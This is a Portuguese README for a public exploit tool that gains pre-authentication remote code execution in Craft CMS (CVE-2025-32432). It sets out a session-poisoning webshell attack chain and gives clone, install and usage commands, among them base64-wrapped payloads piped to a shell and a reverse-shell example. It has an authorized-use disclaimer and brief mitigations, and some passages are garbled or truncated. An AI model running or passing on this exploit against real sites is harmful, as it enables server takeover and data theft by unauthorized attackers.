Exploit confiável de RCE pré-autenticação CVE-2025-32432 para Craft CMS 3.x/4.x/5.x, funciona onde outros PoCs públicos falham
Autor: P34NUT2
Vulnerabilidade: Execução Remota de Código (Pré-Autenticada) no Craft CMS
CVE: CVE-2025-32432
Alvo: Qualquer instância vulnerável do Craft CMS (3.x / 4.x / 5.x) — testado no Hack The Box: Orion
Esta ferramenta é fornecida estritamente para fins educacionais e testes de penetração autorizados em ambientes controlados, como Hack The Box, TryHackMe ou configurações de laboratório privado que você possui ou tem permissão escrita explícita para testar.
O uso não autorizado desta ferramenta contra sistemas que você não possui ou não tem permissão explícita para testar é ilegal sob o Computer Fraud and Abuse Act (CFAA), a Diretiva da UE sobre Ataques a Sistemas de Informação e leis equivalentes na maioria das jurisdições em todo o mundo.
O autor não assume nenhuma responsabilidade ou obrigação por qualquer uso indevido, dano ou consequência legal resultante do uso deste software. Use de forma responsável e ética.
A maioria dos PoCs públicos para CVE-2025-32432 falha contra alvos do mundo real como o HTB: Orion devido a:
&, , )><Este exploit foi construído do zero para resolver esses problemas de confiabilidade. Ele lida corretamente com a codificação de URL, automatiza a extração dinâmica de tokens e usa pipelines de wrapper Base64 para alcançar execução confiável contra qualquer instância vulnerável do Craft CMS — validado contra implantações reais e comprovado no HTB Orion.
| Etapa | Ação | Descrição |
|---|---|---|
| 1 | Aquisição de Sessão e CSRF | Extrai CraftSessionId, CRAFT_CSRF_TOKEN e CSRF_TOKEN dinâmico do endpoint de administração |
| 2 | Descoberta de Asset ID | Força bruta de IDs de assets válidos necessários para o payload de geração de transformação |
| 3 | Vazamento do Caminho da Sessão | Injeta um objeto Guzzle para acionar phpinfo() e ler session.save_path dinamicamente |
| 4 | Envenenamento de Sessão | Injeta um payload de webshell PHP codificado em URL no arquivo de sessão ativo |
| 5 | Gatilho de RCE | Desserializa a sessão envenenada para executar comandos arbitrários do sistema |
git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
cd CVE-2025-32432-exploit-by-P34NUT2
pip install -r requirements.txt
| Flag | Opção Longa | Obrigatório | Descrição |
|---|---|---|---|
-u | --url | ✅ Sim | URL base do alvo (ex.: http://example.com) |
-c | --cmd | ✅ Sim | Comando a executar no alvo remoto |
-a | --asset | ❌ Não | Asset ID válido conhecido (acelera a execução) |
-s | --scan-max | ❌ Não | Intervalo máximo de força bruta de Asset ID (Padrão: 300) |
1. Execução Básica de Comando
python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"
2. Com um Asset ID Conhecido (mais rápido)
python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"
3. Payload Codificado (Recomendado para Caracteres Especiais)
Para evitar que caracteres especiais sejam alterados por parsers HTTP ou truncados durante o manuseio da sessão, codifique seu comando em Base64 antes de passá-lo:
# Passo 1 — codifique seu comando localmente
echo -n "YOUR_COMMAND_HERE" | base64
# Passo 2 — passe a string codificada pelo script
python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"
4. Reverse Shell via Wrapper Base64
python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"
Se você é um administrador de sistema ou desenvolvedor executando o Craft CMS, aplique as seguintes mitigações:
/actions/*) via regras de firewall ou middleware.Este projeto é licenciado para uso educacional e de testes autorizados apenas. Consulte LICENSE para detalhes.